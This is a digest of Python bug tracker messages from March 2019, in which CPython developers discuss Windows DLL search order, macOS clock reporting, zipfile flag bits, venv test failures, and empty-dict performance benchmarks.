Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:42:15 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:42:15 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>
Message-ID: <1552405335.67.0.560488913178.issue36266@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I agree. Unfortunately, the operating system does not provide this information.

The best I can offer is to run Process Monitor [1] and watch its logs. It should show the paths it attempts to access.

[1]: http://technet.microsoft.com/en-us/sysinternals/bb896645

----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:44:27 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 15:44:27 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1552405467.28.0.913466129082.issue36205@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Sorry, I don't understand the problem.

Can someone please give the result of these commands on Python 3.6 and 3.7 on macOS?

Example on Linux (Fedora 29):

$ python3
>>> import platform, time
>>> platform.platform()
'Linux-4.20.13-200.fc29.x86_64-x86_64-with-fedora-29-Twenty_Nine'
>>> for clock in ('monotonic', 'perf_counter', 'process_time', 'thread_time', 'time'): print(f'clock: {time.get_clock_info(clock)}')
... 
clock: namespace(adjustable=False, implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, resolution=1e-09)
clock: namespace(adjustable=False, implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, resolution=1e-09)
clock: namespace(adjustable=False, implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, resolution=1e-09)
clock: namespace(adjustable=False, implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, resolution=1e-09)
clock: namespace(adjustable=True, implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, resolution=1e-09)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:45:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 15:45:03 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1552405503.15.0.976242213069.issue36205@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Ah, or maybe use test.pythoninfo:

$ ./python -m test.pythoninfo|grep -E '^(platform|time)'
platform.architecture: 64bit ELF
platform.libc_ver: glibc 2.28
platform.platform: Linux-4.20.13-200.fc29.x86_64-x86_64-with-glibc2.28
platform.python_implementation: CPython
time.altzone: -7200
time.daylight: 1
time.get_clock_info(clock): namespace(adjustable=False, implementation='clock()', monotonic=True, resolution=1e-06)
time.get_clock_info(monotonic): namespace(adjustable=False, implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, resolution=1e-09)
time.get_clock_info(perf_counter): namespace(adjustable=False, implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, resolution=1e-09)
time.get_clock_info(process_time): namespace(adjustable=False, implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, resolution=1e-09)
time.get_clock_info(thread_time): namespace(adjustable=False, implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, resolution=1e-09)
time.get_clock_info(time): namespace(adjustable=True, implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, resolution=1e-09)
time.time: 1552405487.361025
time.timezone: -3600
time.tzname: ('CET', 'CEST')

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:45:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:45:21 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552405521.1.0.0491360072525.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Since I just dug enough to find it, the best way to diagnose problems with dependent DLLs not being found is probably to run Process Monitor [1] while doing the import and checking its logs. It should show the paths that were attempted to be accessed.

[1]: http://technet.microsoft.com/en-us/sysinternals/bb896645

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:46:18 2019
From: report at bugs.python.org (keeely)
Date: Tue, 12 Mar 2019 15:46:18 +0000
Subject: [issue35218] decompressing and then re-compressing zipfiles with
 Python 3 zipfile loses flag_bits
In-Reply-To: <1542033501.3.0.788709270274.issue35218@psf.upfronthosting.co.za>
Message-ID: <1552405578.4.0.831591432599.issue35218@roundup.psfhosted.org>


keeely <smh at sophos.com> added the comment:

Can you please get on and fix this if you're going to deprecate Python 2.0.  It's unkind on your users to deprecate the old version before you've fixed basic regressions like this in the new one.  Just to be clear, I am attaching the code that reproduces this (tmp.py).   Run it with Python 2 and 3 to see the difference.  I will not fill in your agreement form, and no I will not provide my reasons, but you don't need it, it's a one-line fix.

----------
Added file: https://bugs.python.org/file48205/tmp.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35218>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:47:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 15:47:25 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552405645.71.0.39444255465.issue36272@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vinay.sajip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:53:40 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:53:40 +0000
Subject: [issue35854] EnvBuilder and venv symlinks do not work on Windows on
 3.7.2
In-Reply-To: <1548803594.51.0.0945300904975.issue35854@roundup.psfhosted.org>
Message-ID: <1552406020.83.0.422663621803.issue35854@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Yep. Done

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35854>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:54:13 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:54:13 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552406053.13.0.741849717281.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> If we're going ahead with this, it's worth a mention in whatsnew

Good call. I'll do it

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:55:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 15:55:09 +0000
Subject: [issue35218] decompressing and then re-compressing zipfiles with
 Python 3 zipfile loses flag_bits
In-Reply-To: <1542033501.3.0.788709270274.issue35218@psf.upfronthosting.co.za>
Message-ID: <1552406109.48.0.27666319752.issue35218@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> I will not fill in your agreement form, and no I will not provide my reasons, but you don't need it, it's a one-line fix.

Ok. It's up to you, but in that case, we cannot merge your change. Contributors have to sign it. Your test is larger than a single line.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35218>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:55:39 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 15:55:39 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552406139.91.0.667990067572.issue30040@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
nosy: +Mark.Shannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:55:45 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 12 Mar 2019 15:55:45 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1552403703.17.0.955231495553.issue36085@roundup.psfhosted.org>
Message-ID: <CACac1F-oGo=Dzc+XnAG2A22DF60TAURFrwGCwPwF=nJfgNnsJg@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> > This bothers me - how will backward compatibility work in that case?
>
> The new search order is compatible with the old search order, so you can update all your layouts to have DLL dependencies in suitable locations and you'll be fine.

OK, cool. But one thing I'm not clear on, will this change just affect
the embedded Python, or will it affect the whole process - which would
mean that supporting an embedded Python 3.8 interpreter would mean
potentially reorganising the application layout. That may be quite a
cost, in some applications.

Note that this is all on the basis of "I don't understand the
implications, they should be documented" rather than being a specific
problem that I know will happen. My particular scenario, though, is an
application like Vim, that provides optional support for an "embedded
scripting" which may be any one of a number of Python versions, or
even other languages. In an application like that, costs for
supporting Python 3.8 may simply result in no (or delayed) support for
Python 3.8, rather than the application getting fixed.

> And if you're still writing code for Windows 7 with no security updates installed, Python 3.8 isn't going to save you anyway.

Nobody's suggesting that it will. But maintaining *existing* code that
supports older Windows versions, while still allowing Python 3.8 to be
used as an embedded scripting language on systems that support it, is
an entirely reasonable proposal.

> > I really have no feel as to what practical impact there would be on an
> > embedded application.
>
> Since we're not going to change the default search directories for the entire process when embedding

OK, if that's the case, then that alleviates most of my concerns. But
it really wasn't obvious to me, and it's something that I think should
be made clear in the docs, if only to reassure embedding applications
that Python isn't making global changes. The docs for SetDllDirectory
seem to imply that there *is* a global impact - "The SetDllDirectory
function affects all subsequent calls to the LoadLibrary and
LoadLibraryEx functions" (note - *all* subsequent calls, which implies
that behaviour will change for the embedding application once Python
has been loaded).

> the only practical impact is that your extension modules need to have their dependent DLLs either:
> * in the system directory
> * adjacent to the .pyd file
> * in a directory added using AddDllDirectory

That seems fine, so let's just state that and keep things simple for
embedders to understand.

> And if the embedding application is already calling SetDefaultDllDirectories, as has been recommended for years, then they're already experiencing this change and won't have to update a thing.

Sadly, in my experience, an awful lot of projects (specifically, open
source projects that write mostly cross-platform code, with the
minimum of OS-specific differences) don't follow recommendations like
this. They use LoadLibrary without digging too deeply into the
implications or complexities, as long as it does what they want. And I
don't think MS helped themselves much here, either - the whole
business with SxS installs and assemblies was (IMO) *way* too much
complexity for most cross platform projects to bother with, and went
ignored. Even once things got simpler again, there remained a sense of
"don't go there, just get something that works". (And to be clear, I'm
not bashing on MS here - I find the Linux machinery around all of this
to be just as complex and confusing).

Anyhow, if as you say the only impact is that when a pyd file depends
on a DLL, that DLL needs to be located in one of three places, all of
which are equally valid on Python <=3.7, and there's no impact on the
non-Python part of the embedded application, then it's not a big deal.
Let's make the change, write up those points in What's New (at least),
and leave it at that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:56:54 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 15:56:54 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552406214.04.0.266783321236.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

> I don't think this should have been done.  Conceptually, there is no basis for presuming key-sharing for new empty dicts -- you can't know what they would share with.  
This patch essentially undoes the entire reason for having a pre-allocated minsize dict.  If it were deemed to be the norm that applications typically had huge numbers of empty dicts that were never populated, then the correct solution would be a NULL pointer to the table field (as dicts do).

It increases massive NULL checks, and possibly cause bugs.

> FWIW, the macro benchmarks aren't very informative here because they don't exercise much of this code.  I think there is an over-prioritization of small space savings at the expense of the intended use cases for dicts.  This patch just forces every dict that gets used to have to convert back from a key-sharing dict and do a memory allocation and memset(0) in the process.  The whole point of the minsize dict was to avoid that cost in the common case of small dicts (i.e. passing keyword arguments).

Note that there is _PyDict_NewPresized().

When kwargs is empty, this patch increase dict creation speed.
When kwargs is not empty, temporary key-sharing table is not used because we use _PyDict_NewPresized() is used.

$ ./py.edict bm_edict.py --compare-to ./py.master
py.master: ..................... 192 ns +- 7 ns
py.edict: ..................... 175 ns +- 4 ns
Mean +- std dev: [py.master] 192 ns +- 7 ns -> [py.edict] 175 ns +- 4 ns: 1.10x faster (-9%)

py.master: ..................... 269 ns +- 4 ns
py.edict: ..................... 273 ns +- 2 ns
Mean +- std dev: [py.master] 269 ns +- 4 ns -> [py.edict] 273 ns +- 2 ns: 1.02x slower (+2%)

So I don't think net performance of kwargs doesn't get worse.

----------
nosy:  -Mark.Shannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:57:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 15:57:03 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552406223.06.0.726409960411.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

_Py_wgetcwd() call has been introduced by the following commit:

commit ee3784594b33c72c3fdca6a71892d22f14045ab6
Author: Nick Coghlan <ncoghlan at gmail.com>
Date:   Sun Mar 25 23:43:50 2018 +1000

    bpo-33053: -m now adds *starting* directory to sys.path (GH-6231) (#6236)
    
    Historically, -m added the empty string as sys.path
    zero, meaning it resolved imports against the current
    working directory, the same way -c and the interactive
    prompt do.
    
    This changes the sys.path initialisation to add the
    *starting* working directory as sys.path[0] instead,
    such that changes to the working directory while the
    program is running will have no effect on imports
    when using the -m switch.
    
    (cherry picked from commit d5d9e02dd3c6df06a8dd9ce75ee9b52976420a8b)

I don't think that it's correct to fail with a fatal error if the current directory no longer exist. Would it be possible to not add it to sys.path if it doesn't exist? Silently ignore the error.

@Nick: What do you think?

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:57:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 15:57:44 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552406264.69.0.773651828211.issue36236@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:00:33 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 16:00:33 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552406433.94.0.209527294235.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: +Mark.Shannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:01:43 2019
From: report at bugs.python.org (keeely)
Date: Tue, 12 Mar 2019 16:01:43 +0000
Subject: [issue35218] decompressing and then re-compressing zipfiles with
 Python 3 zipfile loses flag_bits
In-Reply-To: <1542033501.3.0.788709270274.issue35218@psf.upfronthosting.co.za>
Message-ID: <1552406503.88.0.61955739126.issue35218@roundup.psfhosted.org>


keeely <smh at sophos.com> added the comment:

You can take out the test.  It wasn't there before so who's going to care?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35218>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:02:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 16:02:09 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552406529.11.0.139982839113.issue35661@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

This issue broke x86 Gentoo Installed with X 3.x buildbot:

https://buildbot.python.org/all/#/builders/103/builds/2208

ERROR: test_prompt (test.test_venv.BasicTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/test/test_venv.py", line 123, in test_prompt
    builder.create(self.env_dir)
  File "/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py", line 70, in create
    self.setup_scripts(context)
  File "/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py", line 278, in setup_scripts
    self.install_scripts(context, path)
  File "/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py", line 354, in install_scripts
    with open(dstfile, 'wb') as f:
PermissionError: [Errno 13] Permission denied: '/buildbot/tmp/tmpdir/tmph7_oob5e/bin/Activate.ps1'

Please either fix or revert the change.

----------
nosy: +vstinner
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:04:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 16:04:12 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552406652.88.0.259667953671.issue36264@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12273

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:06:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 16:06:12 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552406772.52.0.919168808873.issue35661@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Presumably the issue is in the test and not the main change itself.

Is this another case where Linux can't run venv tests inside a venv?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:09:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 16:09:04 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552406944.45.0.138449009426.issue36216@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Commit e37ef41289b77e0f0bb9a6aedb0360664c55bdd5 introduced a regression on AMD64 Windows8.1 Refleaks 2.7:

test_urlparse leaked [114, 114, 114] references, sum=342

https://buildbot.python.org/all/#/builders/33/builds/532

It is fixed by PR 12291.

You can test:

python -m test -R 3:3 test_urlparse

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:14:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 16:14:04 +0000
Subject: [issue36273] test_thread leaks a core dump on PPC64 AIX 3.x
Message-ID: <1552407244.81.0.665825370239.issue36273@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

PPC64 AIX 3.x:
https://buildbot.python.org/all/#/builders/10/builds/2224

0:12:47 [160/420/1] test_threading failed (env changed)
...
Ran 158 tests in 12.023s

OK (skipped=1)
Warning -- files was modified by test_threading
  Before: []
  After:  ['core']


I don't know if it's a regression or if it occurred in the past.

Michael: Can you please try to reproduce the issue? Any idea if it's new or not?

You can try to identify which test creates a core dump using:

$ ./python -m test.bisect_cmd --fail-env-changed test_thread -v

The command is supposed to find which test creates the "core" file.

----------
components: Tests
messages: 337772
nosy: Michael.Felt, vstinner
priority: normal
severity: normal
status: open
title: test_thread leaks a core dump on PPC64 AIX 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36273>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:16:04 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 16:16:04 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552407364.42.0.156274243114.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

If it's fixed by not printing to the console, then it must be a refleak in print. Or perhaps in the test failure/repeat.

That PR is going to be merged as soon as AppVeyor finishes, so nothing to worry about here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:37:14 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 16:37:14 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1552408634.18.0.259736210186.issue36205@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

*******************
tip of master built on current macOS 10.14 - correct results:

3.8.0a2+ (heads/master:f45813df52, Mar 12 2019, 12:25:58)
[Clang 10.0.0 (clang-1000.11.45.5)]
macOS-10.14.3-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, resolution=1.0000000000000002e-06)
thread_time: namespace(adjustable=False, implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, resolution=1e-09)
time: namespace(adjustable=True, implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, resolution=1.0000000000000002e-06)
*******************

*******************
v3.8.0a2 python.org installer built on macOS 10.9 - INCORRECT results:

3.8.0a2 (v3.8.0a2:23f4589b4b, Feb 25 2019, 10:59:08)
[Clang 6.0 (clang-600.0.57)]
macOS-10.14.3-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, implementation='getrusage(RUSAGE_SELF)', monotonic=True, resolution=1e-06)
thread_time: not available
time: namespace(adjustable=True, implementation='gettimeofday()', monotonic=False, resolution=1e-06)
*******************

*******************
v3.6.8 python.org installer built on macOS 10.9 - correct results:

3.6.8 (v3.6.8:3c6b436a57, Dec 24 2018, 02:04:31)
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)]
Darwin-18.2.0-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, implementation='getrusage(RUSAGE_SELF)', monotonic=True, resolution=1e-06)
thread_time: not available
time: namespace(adjustable=True, implementation='gettimeofday()', monotonic=False, resolution=1e-06)
*******************

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:39:08 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 16:39:08 +0000
Subject: [issue36273] test_thread leaks a core dump on PPC64 AIX 3.x
In-Reply-To: <1552407244.81.0.665825370239.issue36273@roundup.psfhosted.org>
Message-ID: <1552408748.31.0.534011660362.issue36273@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also https://bugs.python.org/issue35828#msg337076 where test_multiprocessing_fork seemed to leave a core dump. Maybe one test core dumps and leaves the report to the other causing env changed?

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36273>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:43:29 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Tue, 12 Mar 2019 16:43:29 +0000
Subject: [issue34713] csvwriter.writerow()'s return type is undocumented
In-Reply-To: <1537204445.4.0.956365154283.issue34713@psf.upfronthosting.co.za>
Message-ID: <1552409009.75.0.15415535103.issue34713@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

csvwriter.writerows() does not return anything.

The return value of csv.writecsv() is the return value of the write() method of the file object given as parameter in csv.writer(). I'm not sure it's safe to document it, should we return None instead?

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34713>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:50:28 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 16:50:28 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552409428.51.0.676225642137.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Sorry about that.  I'll work on a fix and test it on the buildbots first.  

There are some tests with pyvenv.cfg that are skipped if it happens in a venv (@skipInVenv decorator), but the test right above this one (test_defaults) does not use the decorator and it checks pyvenv.cfg, so I think test_prompt might just need to do some cleanup first.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 13:10:25 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 17:10:25 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552410625.16.0.646716778557.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Another micro benchmark:

$ ./py.edict.opt -m perf timeit --compare-to ./py.master.opt '{}' --duplicate=10
py.master.opt: ..................... 26.3 ns +- 0.5 ns
py.edict.opt: ..................... 13.0 ns +- 0.1 ns

Mean +- std dev: [py.master.opt] 26.3 ns +- 0.5 ns -> [py.edict.opt] 13.0 ns +- 0.1 ns: 2.02x faster (-51%)

$ ./py.edict.opt -m perf timeit --compare-to ./py.master.opt 'd={}; d["a"]=None' --duplicate=10
py.master.opt: ..................... 58.1 ns +- 0.9 ns
py.edict.opt: ..................... 64.1 ns +- 0.9 ns

Mean +- std dev: [py.master.opt] 58.1 ns +- 0.9 ns -> [py.edict.opt] 64.1 ns +- 0.9 ns: 1.10x slower (+10%)


Hmm, while 2x faster temporal empty dict is nice, 10% slower case can be mitigated.
I will try more micro benchmarks and optimizations.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 13:16:37 2019
From: report at bugs.python.org (Ivan Tashev)
Date: Tue, 12 Mar 2019 17:16:37 +0000
Subject: [issue10948] Trouble with dir_util created dir cache
In-Reply-To: <1295456838.39.0.734609669589.issue10948@psf.upfronthosting.co.za>
Message-ID: <1552410997.84.0.0502995376728.issue10948@roundup.psfhosted.org>


Ivan Tashev <ivtashev at ea.com> added the comment:

distutils.dir_util is easily found in the documentation. If this behaviour is not fixed, at least the docs should state dir_util is not recommended for public use.

----------
nosy: +ivtashev

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10948>
_______________________________________

From report at bugs.python.org  Tue Mar 12 13:21:00 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Tue, 12 Mar 2019 17:21:00 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552411260.35.0.852819815546.issue36229@roundup.psfhosted.org>


Brandt Bucher <brandtbucher at gmail.com> added the comment:

Thank for the input, Serhiy. On point (1):

It's a valid concern... but I don't think it's necessarily a good enough reason to withhold a simple, yet *significant* performance increase for a common use case.

This reminds me of past CPython implementation details, such as ordered dictionaries in 3.6. Some users may errantly adopt problematic idioms that aren't strictly portable between implementations, but if you ask me the performance improvement (again, from quadratic to linear) for three common built-in types (I admit I'm being a bit generous to bytearray here ;) is well worth it.

Regarding (2): 

I believe that CPython lists only overallocate by something like 1/8, which in my opinion is a fairly conservative value. If the lists are large enough for this small preallocation to be a real memory burden, I would imagine that making the extra copies would be even worse.

And, if you ask me, list overallocation is a feature, not a bug!

----------

_______________________________________
